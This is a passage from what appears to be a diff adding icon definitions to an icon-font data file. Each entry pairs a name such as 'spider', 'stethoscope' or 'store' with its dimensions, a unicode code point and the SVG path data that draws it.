0 407.16 480H432a16 16 0 0 0 15.06-21.38zM335.61 400L352 352l16.39 48z"], + "sort-alpha-up": [448, 512, [], "f15e", "M16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31l-80-96a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160zm400 128H288a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h56l-61.26 70.45A32 32 0 0 0 272 446.37V464a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-56l61.26-70.45A32 32 0 0 0 432 321.63V304a16 16 0 0 0-16-16zm31.06-85.38l-59.27-160A16 16 0 0 0 372.72 32h-41.44a16 16 0 0 0-15.07 10.62l-59.27 160A16 16 0 0 0 272 224h24.83a16 16 0 0 0 15.23-11.08l4.42-12.92h71l4.41 12.92A16 16 0 0 0 407.16 224H432a16 16 0 0 0 15.06-21.38zM335.61 144L352 96l16.39 48z"], + "sort-alpha-up-alt": [448, 512, [], "f882", "M16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31l-80-96a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160zm272 64h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-56l61.26-70.45A32 32 0 0 0 432 65.63V48a16 16 0 0 0-16-16H288a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h56l-61.26 70.45A32 32 0 0 0 272 190.37V208a16 16 0 0 0 16 16zm159.06 234.62l-59.27-160A16 16 0 0 0 372.72 288h-41.44a16 16 0 0 0-15.07 10.62l-59.27 160A16 16 0 0 0 272 480h24.83a16 16 0 0 0 15.23-11.08l4.42-12.92h71l4.41 12.92A16 16 0 0 0 407.16 480H432a16 16 0 0 0 15.06-21.38zM335.61 400L352 352l16.39 48z"], + "sort-amount-down": [512, 512, [], "f160", "M304 416h-64a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-128-64h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.37 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352zm256-192H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h192a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-64 128H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM496 32H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h256a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"], + "sort-amount-down-alt": [512, 512, [], "f884", "M240 96h64a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16h-64a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm0 128h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm256 192H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h256a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-256-64h192a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm-64 0h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.37 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352z"], + "sort-amount-up": [512, 512, [], "f161", "M304 416h-64a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31l-80-96a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.77 160 16 160zm416 0H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h192a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-64 128H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM496 32H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h256a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"], + "sort-amount-up-alt": [512, 512, [], "f885", "M240 96h64a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16h-64a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm0 128h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm256 192H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h256a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-256-64h192a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zM16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.39-17.24 11.31-27.31l-80-96a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160z"], + "sort-down": [320, 512, [], "f0dd", "M41 288h238c21.4 0 32.1 25.9 17 41L177 448c-9.4 9.4-24.6 9.4-33.9 0L24 329c-15.1-15.1-4.4-41 17-41z"], + "sort-numeric-down": [448, 512, [], "f162", "M304 96h16v64h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-16V48a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 304 96zm26.15 162.91a79 79 0 0 0-55 54.17c-14.25 51.05 21.21 97.77 68.85 102.53a84.07 84.07 0 0 1-20.85 12.91c-7.57 3.4-10.8 12.47-8.18 20.34l9.9 20c2.87 8.63 12.53 13.49 20.9 9.91 58-24.76 86.25-61.61 86.25-132V336c-.02-51.21-48.4-91.34-101.85-77.09zM352 356a20 20 0 1 1 20-20 20 20 0 0 1-20 20zm-176-4h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.36 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352z"], + "sort-numeric-down-alt": [448, 512, [], "f886", "M176 352h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.36 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352zm224 64h-16V304a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 304 352h16v64h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM330.17 34.91a79 79 0 0 0-55 54.17c-14.27 51.05 21.19 97.77 68.83 102.53a84.07 84.07 0 0 1-20.85 12.91c-7.57 3.4-10.8 12.47-8.18 20.34l9.9 20c2.87 8.63 12.53 13.49 20.9 9.91 58-24.77 86.25-61.61 86.25-132V112c-.02-51.21-48.4-91.34-101.85-77.09zM352 132a20 20 0 1 1 20-20 20 20 0 0 1-20 20z"], + "sort-numeric-up": [448, 512, [], "f163", "M330.17 258.91a79 79 0 0 0-55 54.17c-14.27 51.05 21.19 97.77 68.83 102.53a84.07 84.07 0 0 1-20.85 12.91c-7.57 3.4-10.8 12.47-8.18 20.34l9.9 20c2.87 8.63 12.53 13.49 20.9 9.91 58-24.76 86.25-61.61 86.25-132V336c-.02-51.21-48.4-91.34-101.85-77.09zM352 356a20 20 0 1 1 20-20 20 20 0 0 1-20 20zM304 96h16v64h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-16V48a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 304 96zM107.31 36.69a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31z"], + "sort-numeric-up-alt": [448, 512, [], "f887", "M107.31 36.69a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31zM400 416h-16V304a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 304 352h16v64h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM330.17 34.91a79 79 0 0 0-55 54.17c-14.27 51.05 21.19 97.77 68.83 102.53a84.07 84.07 0 0 1-20.85 12.91c-7.57 3.4-10.8 12.47-8.18 20.34l9.9 20c2.87 8.63 12.53 13.49 20.9 9.91 58-24.77 86.25-61.61 86.25-132V112c-.02-51.21-48.4-91.34-101.85-77.09zM352 132a20 20 0 1 1 20-20 20 20 0 0 1-20 20z"], + "sort-up": [320, 512, [], "f0de", "M279 224H41c-21.4 0-32.1-25.9-17-41L143 64c9.4-9.4 24.6-9.4 33.9 0l119 119c15.2 15.1 4.5 41-16.9 41z"], + "spa": [576, 512, [], "f5bb", "M568.25 192c-29.04.13-135.01 6.16-213.84 83-33.12 29.63-53.36 63.3-66.41 94.86-13.05-31.56-33.29-65.23-66.41-94.86-78.83-76.84-184.8-82.87-213.84-83-4.41-.02-7.79 3.4-7.75 7.82.23 27.92 7.14 126.14 88.77 199.3C172.79 480.94 256 480 288 480s115.19.95 199.23-80.88c81.64-73.17 88.54-171.38 88.77-199.3.04-4.42-3.34-7.84-7.75-7.82zM287.98 302.6c12.82-18.85 27.6-35.78 44.09-50.52 19.09-18.61 39.58-33.3 60.26-45.18-16.44-70.5-51.72-133.05-96.73-172.22-4.11-3.58-11.02-3.58-15.14 0-44.99 39.14-80.27 101.63-96.74 172.07 20.37 11.7 40.5 26.14 59.22 44.39a282.768 282.768 0 0 1 45.04 51.46z"], + "space-shuttle": [640, 512, [], "f197", "M592.604 208.244C559.735 192.836 515.777 184 472 184H186.327c-4.952-6.555-10.585-11.978-16.72-16H376C229.157 137.747 219.403 32 96.003 32H96v128H80V32c-26.51 0-48 28.654-48 64v64c-23.197 0-32 10.032-32 24v40c0 13.983 8.819 24 32 24v16c-23.197 0-32 10.032-32 24v40c0 13.983 8.819 24 32 24v64c0 35.346 21.49 64 48 64V352h16v128h.003c123.4 0 133.154-105.747 279.997-136H169.606c6.135-4.022 11.768-9.445 16.72-16H472c43.777 0 87.735-8.836 120.604-24.244C622.282 289.845 640 271.992 640 256s-17.718-33.845-47.396-47.756zM488 296a8 8 0 0 1-8-8v-64a8 8 0 0 1 8-8c31.909 0 31.942 80 0 80z"], + "spell-check": [576, 512, [], "f891", "M272 256h91.36c43.2 0 82-32.2 84.51-75.34a79.82 79.82 0 0 0-25.26-63.07 79.81 79.81 0 0 0 9.06-44.91C427.9 30.57 389.3 0 347 0h-75a16 16 0 0 0-16 16v224a16 16 0 0 0 16 16zm40-200h40a24 24 0 0 1 0 48h-40zm0 96h56a24 24 0 0 1 0 48h-56zM155.12 22.25A32 32 0 0 0 124.64 0H99.36a32 32 0 0 0-30.48 22.25L.59 235.73A16 16 0 0 0 16 256h24.93a16 16 0 0 0 15.42-11.73L68.29 208h87.42l11.94 36.27A16 16 0 0 0 183.07 256H208a16 16 0 0 0 15.42-20.27zM89.37 144L112 75.3l22.63 68.7zm482 132.48l-45.21-45.3a15.88 15.88 0 0 0-22.59 0l-151.5 151.5-55.41-55.5a15.88 15.88 0 0 0-22.59 0l-45.3 45.3a16 16 0 0 0 0 22.59l112 112.21a15.89 15.89 0 0 0 22.6 0l208-208.21a16 16 0 0 0-.02-22.59z"], + "spider": [576, 512, [], "f717", "M151.17 167.35L177.1 176h4.67l5.22-26.12c.72-3.58 1.8-7.58 3.21-11.79l-20.29-40.58 23.8-71.39c2.79-8.38-1.73-17.44-10.12-20.24L168.42.82c-8.38-2.8-17.45 1.73-20.24 10.12l-25.89 77.68a32.04 32.04 0 0 0 1.73 24.43l27.15 54.3zm422.14 182.03l-52.75-79.12a32.002 32.002 0 0 0-26.62-14.25H416l68.99-24.36a32.03 32.03 0 0 0 16.51-12.61l53.6-80.41c4.9-7.35 2.91-17.29-4.44-22.19l-13.31-8.88c-7.35-4.9-17.29-2.91-22.19 4.44l-50.56 75.83L404.1 208H368l-10.37-51.85C355.44 145.18 340.26 96 288 96c-52.26 0-67.44 49.18-69.63 60.15L208 208h-36.1l-60.49-20.17L60.84 112c-4.9-7.35-14.83-9.34-22.19-4.44l-13.31 8.88c-7.35 4.9-9.34 14.83-4.44 22.19l53.6 80.41a32.03 32.03 0 0 0 16.51 12.61L160 256H82.06a32.02 32.02 0 0 0-26.63 14.25L2.69 349.38c-4.9 7.35-2.92 17.29 4.44 22.19l13.31 8.88c7.35 4.9 17.29 2.91 22.19-4.44l48-72h47.06l-60.83 97.33A31.988 31.988 0 0 0 72 418.3V496c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-73.11l74.08-118.53c-1.01 14.05-2.08 28.11-2.08 42.21C192 399.64 232.76 448 288 448s96-48.36 96-101.43c0-14.1-1.08-28.16-2.08-42.21L456 422.89V496c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-77.71c0-6-1.69-11.88-4.86-16.96L438.31 304h47.06l48 72c4.9 7.35 14.84 9.34 22.19 4.44l13.31-8.88c7.36-4.9 9.34-14.83 4.44-22.18zM406.09 97.51l-20.29 40.58c1.41 4.21 2.49 8.21 3.21 11.79l5.22 26.12h4.67l25.93-8.65 27.15-54.3a31.995 31.995 0 0 0 1.73-24.43l-25.89-77.68C425.03 2.56 415.96-1.98 407.58.82l-15.17 5.06c-8.38 2.8-12.91 11.86-10.12 20.24l23.8 71.39z"], + "spinner": [512, 512, [], "f110", "M304 48c0 26.51-21.49 48-48 48s-48-21.49-48-48 21.49-48 48-48 48 21.49 48 48zm-48 368c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48zm208-208c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48zM96 256c0-26.51-21.49-48-48-48S0 229.49 0 256s21.49 48 48 48 48-21.49 48-48zm12.922 99.078c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48c0-26.509-21.491-48-48-48zm294.156 0c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48c0-26.509-21.49-48-48-48zM108.922 60.922c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.491-48-48-48z"], + "splotch": [512, 512, [], "f5bc", "M472.29 195.89l-67.06-22.95c-19.28-6.6-33.54-20.92-38.14-38.3L351.1 74.19c-11.58-43.77-76.57-57.13-109.98-22.62l-46.14 47.67c-13.26 13.71-33.54 20.93-54.2 19.31l-71.88-5.62c-52.05-4.07-86.93 44.88-59.03 82.83l38.54 52.42c11.08 15.07 12.82 33.86 4.64 50.24L24.62 355.4c-20.59 41.25 22.84 84.87 73.49 73.81l69.96-15.28c20.11-4.39 41.45 0 57.07 11.73l54.32 40.83c39.32 29.56 101.04 7.57 104.45-37.22l4.7-61.86c1.35-17.79 12.8-33.86 30.63-42.99l62-31.74c44.88-22.96 39.59-80.17-8.95-96.79z"], + "spray-can": [512, 512, [], "f5bd", "M224 32c0-17.67-14.33-32-32-32h-64c-17.67 0-32 14.33-32 32v96h128V32zm256 96c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32zm-256 32H96c-53.02 0-96 42.98-96 96v224c0 17.67 14.33 32 32 32h256c17.67 0 32-14.33 32-32V256c0-53.02-42.98-96-96-96zm-64 256c-44.18 0-80-35.82-80-80s35.82-80 80-80 80 35.82 80 80-35.82 80-80 80zM480 96c17.67 0 32-14.33 32-32s-14.33-32-32-32-32 14.33-32 32 14.33 32 32 32zm-96 32c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32zm-96-96c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32zm96 0c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32zm96 192c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32z"], + "square": [448, 512, [], "f0c8", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48z"], + "square-full": [512, 512, [], "f45c", "M512 512H0V0h512v512z"], + "square-root-alt": [576, 512, [], "f698", "M571.31 251.31l-22.62-22.62c-6.25-6.25-16.38-6.25-22.63 0L480 274.75l-46.06-46.06c-6.25-6.25-16.38-6.25-22.63 0l-22.62 22.62c-6.25 6.25-6.25 16.38 0 22.63L434.75 320l-46.06 46.06c-6.25 6.25-6.25 16.38 0 22.63l22.62 22.62c6.25 6.25 16.38 6.25 22.63 0L480 365.25l46.06 46.06c6.25 6.25 16.38 6.25 22.63 0l22.62-22.62c6.25-6.25 6.25-16.38 0-22.63L525.25 320l46.06-46.06c6.25-6.25 6.25-16.38 0-22.63zM552 0H307.65c-14.54 0-27.26 9.8-30.95 23.87l-84.79 322.8-58.41-106.1A32.008 32.008 0 0 0 105.47 224H24c-13.25 0-24 10.74-24 24v48c0 13.25 10.75 24 24 24h43.62l88.88 163.73C168.99 503.5 186.3 512 204.94 512c17.27 0 44.44-9 54.28-41.48L357.03 96H552c13.25 0 24-10.75 24-24V24c0-13.26-10.75-24-24-24z"], + "stamp": [512, 512, [], "f5bf", "M32 512h448v-64H32v64zm384-256h-66.56c-16.26 0-29.44-13.18-29.44-29.44v-9.46c0-27.37 8.88-53.41 21.46-77.72 9.11-17.61 12.9-38.39 9.05-60.42-6.77-38.78-38.47-70.7-77.26-77.45C212.62-9.04 160 37.33 160 96c0 14.16 3.12 27.54 8.69 39.58C182.02 164.43 192 194.7 192 226.49v.07c0 16.26-13.18 29.44-29.44 29.44H96c-53.02 0-96 42.98-96 96v32c0 17.67 14.33 32 32 32h448c17.67 0 32-14.33 32-32v-32c0-53.02-42.98-96-96-96z"], + "star": [576, 512, [], "f005", "M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z"], + "star-and-crescent": [512, 512, [], "f699", "M340.47 466.36c-1.45 0-6.89.46-9.18.46-116.25 0-210.82-94.57-210.82-210.82S215.04 45.18 331.29 45.18c2.32 0 7.7.46 9.18.46 7.13 0 13.33-5.03 14.75-12.07 1.46-7.25-2.55-14.49-9.47-17.09C316.58 5.54 286.39 0 256 0 114.84 0 0 114.84 0 256s114.84 256 256 256c30.23 0 60.28-5.49 89.32-16.32 5.96-2.02 10.28-7.64 10.28-14.26 0-8.09-6.39-15.06-15.13-15.06zm162.99-252.5l-76.38-11.1-34.16-69.21c-1.83-3.7-5.38-5.55-8.93-5.55s-7.1 1.85-8.93 5.55l-34.16 69.21-76.38 11.1c-8.17 1.18-11.43 11.22-5.52 16.99l55.27 53.87-13.05 76.07c-1.11 6.44 4.01 11.66 9.81 11.66 1.53 0 3.11-.36 4.64-1.17L384 335.37l68.31 35.91c1.53.8 3.11 1.17 4.64 1.17 5.8 0 10.92-5.23 9.81-11.66l-13.05-76.07 55.27-53.87c5.91-5.77 2.65-15.81-5.52-16.99z"], + "star-half": [576, 512, [], "f089", "M288 0c-11.4 0-22.8 5.9-28.7 17.8L194 150.2 47.9 171.4c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.1 23 46 46.4 33.7L288 439.6V0z"], + "star-half-alt": [536, 512, [], "f5c0", "M508.55 171.51L362.18 150.2 296.77 17.81C290.89 5.98 279.42 0 267.95 0c-11.4 0-22.79 5.9-28.69 17.81l-65.43 132.38-146.38 21.29c-26.25 3.8-36.77 36.09-17.74 54.59l105.89 103-25.06 145.48C86.98 495.33 103.57 512 122.15 512c4.93 0 10-1.17 14.87-3.75l130.95-68.68 130.94 68.7c4.86 2.55 9.92 3.71 14.83 3.71 18.6 0 35.22-16.61 31.66-37.4l-25.03-145.49 105.91-102.98c19.04-18.5 8.52-50.8-17.73-54.6zm-121.74 123.2l-18.12 17.62 4.28 24.88 19.52 113.45-102.13-53.59-22.38-11.74.03-317.19 51.03 103.29 11.18 22.63 25.01 3.64 114.23 16.63-82.65 80.38z"], + "star-of-david": [464, 512, [], "f69a", "M405.68 256l53.21-89.39C473.3 142.4 455.48 112 426.88 112H319.96l-55.95-93.98C256.86 6.01 244.43 0 232 0s-24.86 6.01-32.01 18.02L144.04 112H37.11c-28.6 0-46.42 30.4-32.01 54.61L58.32 256 5.1 345.39C-9.31 369.6 8.51 400 37.11 400h106.93l55.95 93.98C207.14 505.99 219.57 512 232 512s24.86-6.01 32.01-18.02L319.96 400h106.93c28.6 0 46.42-30.4 32.01-54.61L405.68 256zm-12.78-88l-19.8 33.26L353.3 168h39.6zm-52.39 88l-52.39 88H175.88l-52.39-88 52.38-88h112.25l52.39 88zM232 73.72L254.79 112h-45.57L232 73.72zM71.1 168h39.6l-19.8 33.26L71.1 168zm0 176l19.8-33.26L110.7 344H71.1zM232 438.28L209.21 400h45.57L232 438.28zM353.29 344l19.8-33.26L392.9 344h-39.61z"], + "star-of-life": [480, 512, [], "f621", "M471.99 334.43L336.06 256l135.93-78.43c7.66-4.42 10.28-14.2 5.86-21.86l-32.02-55.43c-4.42-7.65-14.21-10.28-21.87-5.86l-135.93 78.43V16c0-8.84-7.17-16-16.01-16h-64.04c-8.84 0-16.01 7.16-16.01 16v156.86L56.04 94.43c-7.66-4.42-17.45-1.79-21.87 5.86L2.15 155.71c-4.42 7.65-1.8 17.44 5.86 21.86L143.94 256 8.01 334.43c-7.66 4.42-10.28 14.21-5.86 21.86l32.02 55.43c4.42 7.65 14.21 10.27 21.87 5.86l135.93-78.43V496c0 8.84 7.17 16 16.01 16h64.04c8.84 0 16.01-7.16 16.01-16V339.14l135.93 78.43c7.66 4.42 17.45 1.8 21.87-5.86l32.02-55.43c4.42-7.65 1.8-17.43-5.86-21.85z"], + "step-backward": [448, 512, [], "f048", "M64 468V44c0-6.6 5.4-12 12-12h48c6.6 0 12 5.4 12 12v176.4l195.5-181C352.1 22.3 384 36.6 384 64v384c0 27.4-31.9 41.7-52.5 24.6L136 292.7V468c0 6.6-5.4 12-12 12H76c-6.6 0-12-5.4-12-12z"], + "step-forward": [448, 512, [], "f051", "M384 44v424c0 6.6-5.4 12-12 12h-48c-6.6 0-12-5.4-12-12V291.6l-195.5 181C95.9 489.7 64 475.4 64 448V64c0-27.4 31.9-41.7 52.5-24.6L312 219.3V44c0-6.6 5.4-12 12-12h48c6.6 0 12 5.4 12 12z"], + "stethoscope": [512, 512, [], "f0f1", "M447.1 112c-34.2.5-62.3 28.4-63 62.6-.5 24.3 12.5 45.6 32 56.8V344c0 57.3-50.2 104-112 104-60 0-109.2-44.1-111.9-99.2C265 333.8 320 269.2 320 192V36.6c0-11.4-8.1-21.3-19.3-23.5L237.8.5c-13-2.6-25.6 5.8-28.2 18.8L206.4 35c-2.6 13 5.8 25.6 18.8 28.2l30.7 6.1v121.4c0 52.9-42.2 96.7-95.1 97.2-53.4.5-96.9-42.7-96.9-96V69.4l30.7-6.1c13-2.6 21.4-15.2 18.8-28.2l-3.1-15.7C107.7 6.4 95.1-2 82.1.6L19.3 13C8.1 15.3 0 25.1 0 36.6V192c0 77.3 55.1 142 128.1 156.8C130.7 439.2 208.6 512 304 512c97 0 176-75.4 176-168V231.4c19.1-11.1 32-31.7 32-55.4 0-35.7-29.2-64.5-64.9-64zm.9 80c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z"], + "sticky-note": [448, 512, [], "f249", "M312 320h136V56c0-13.3-10.7-24-24-24H24C10.7 32 0 42.7 0 56v400c0 13.3 10.7 24 24 24h264V344c0-13.2 10.8-24 24-24zm129 55l-98 98c-4.5 4.5-10.6 7-17 7h-6V352h128v6.1c0 6.3-2.5 12.4-7 16.9z"], + "stop": [448, 512, [], "f04d", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48z"], + "stop-circle": [512, 512, [], "f28d", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm96 328c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h160c8.8 0 16 7.2 16 16v160z"], + "stopwatch": [448, 512, [], "f2f2", "M432 304c0 114.9-93.1 208-208 208S16 418.9 16 304c0-104 76.3-190.2 176-205.5V64h-28c-6.6 0-12-5.4-12-12V12c0-6.6 5.4-12 12-12h120c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-28v34.5c37.5 5.8 71.7 21.6 99.7 44.6l27.5-27.5c4.7-4.7 12.3-4.7 17 0l28.3 28.3c4.7 4.7 4.7 12.3 0 17l-29.4 29.4-.6.6C419.7 223.3 432 262.2 432 304zm-176 36V188.5c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12V340c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12z"], + "stopwatch-20": [448, 512, [], "e06f", "M398.5,190.91l.59-.61,26.59-26.58a16,16,0,0,0,0-22.63L403,118.41a16,16,0,0,0-22.63,0l-24.68,24.68A206.68,206.68,0,0,0,256,98.5V64h32a16,16,0,0,0,16-16V16A16,16,0,0,0,288,0H160a16.05,16.05,0,0,0-16,16V48a16.05,16.05,0,0,0,16,16h32V98.5A207.92,207.92,0,0,0,16.09,297.57C12.64,411.5,106.76,510.22,220.72,512,337.13,513.77,432,420,432,304A206,206,0,0,0,398.5,190.91ZM204.37,377.55a8.2,8.2,0,0,1,8.32,8.07v22.31a8.2,8.2,0,0,1-8.32,8.07H121.52a16.46,16.46,0,0,1-16.61-17.62c2.78-35.22,14.67-57.41,38.45-91.37,20.42-29.19,27.1-37.32,27.1-62.34,0-16.92-1.79-24.27-12.21-24.27-9.39,0-12.69,7.4-12.69,22.68v5.23a8.2,8.2,0,0,1-8.33,8.07h-24.9a8.2,8.2,0,0,1-8.33-8.07v-4.07c0-27.3,8.48-60.24,56.43-60.24,43,0,55.57,25.85,55.57,61,0,35.58-12.44,51.21-34.35,81.31-11.56,15-24.61,35.57-26.41,51.2ZM344,352.32c0,35.16-12.3,63.68-57.23,63.68C243.19,416,232,386.48,232,352.55V247.22c0-40.73,19.58-63.22,56.2-63.22C325,184,344,206.64,344,245.3ZM287.87,221.73c-9.41,0-13.23,7.5-13.23,20V357.68c0,13.11,3.59,20.59,13.23,20.59s13-8,13-21.27V241.06C300.89,229.79,297.88,221.73,287.87,221.73Z"], + "store": [616, 512, [], "f54e", "M602 118.6L537.1 15C531.3 5.7 521 0 510 0H106C95 0 84.7 5.7 78.9 15L14 118.6c-33.5 53.5-3.8 127.9 58.8 136.4 4.5.6 9.1.9 13.7.9 29.6 0 55.8-13 73.8-33.1 18 20.1 44.3 33.1 73.8 33.1 29.6 0 55.8-13 73.8-33.1 18 20.1 44.3 33.1 73.8 33.1 29.6 0 55.8-13 73.8-33.1 18.1 20.1 44.3 33.1 73.8 33.1 4.7 0 9.2-.3 13.7-.9 62.8-8.4 92.6-82.8 59-136.4zM529.5 288c-10 0-19.9-1.5-29.5-3.8V384H116v-99.8c-9.6 2.2-19.5 3.8-29.5 3.8-6 0-12.1-.4-18-1.2-5.6-.8-11.1-2.1-16.4-3.6V480c0 17.7 14.3 32 32 32h448c17.7 0 32-14.3 32-32V283.2c-5.4 1.6-10.8 2.9-16.4 3.6-6.1.8-12.1 1.2-18.2 1.2z"], + "store-alt": [640, 512, [], "f54f", "M320 384H128V224H64v256c0 17.7 14.3 32 32 32h256c17.7 0 32-14.3 32-32V224h-64v160zm314.6-241.8l-85.3-128c-6-8.9-16-14.2-26.7-14.2H117.4c-10.7 0-20.7 5.3-26.6 14.2l-85.3 128c-14.2 21.3 1 49.8 26.6 49.8H608c25.5 0 40.7-28.5 26.6-49.8zM512 496c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V224h-64v272z"], + "store-alt-slash": [640, 512, [], "e070", "M17.89,123.62,5.51,142.2c-14.2,21.3,1,49.8,26.59,49.8h74.26ZM576,413.42V224H512V364L384,265V224H330.92l-41.4-32H608c25.5,0,40.7-28.5,26.59-49.8l-85.29-128A32.18,32.18,0,0,0,522.6,0H117.42A31.87,31.87,0,0,0,90.81,14.2l-10.66,16L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.46A16,16,0,0,0,6.18,53.91L594.53,508.63A16,16,0,0,0,617,505.81l19.64-25.26a16,16,0,0,0-2.81-22.45ZM320,384H128V224H64V480a32,32,0,0,0,32,32H352a32,32,0,0,0,32-32V406.59l-64-49.47Z"], + "store-slash": [640, 512, [], "e071", 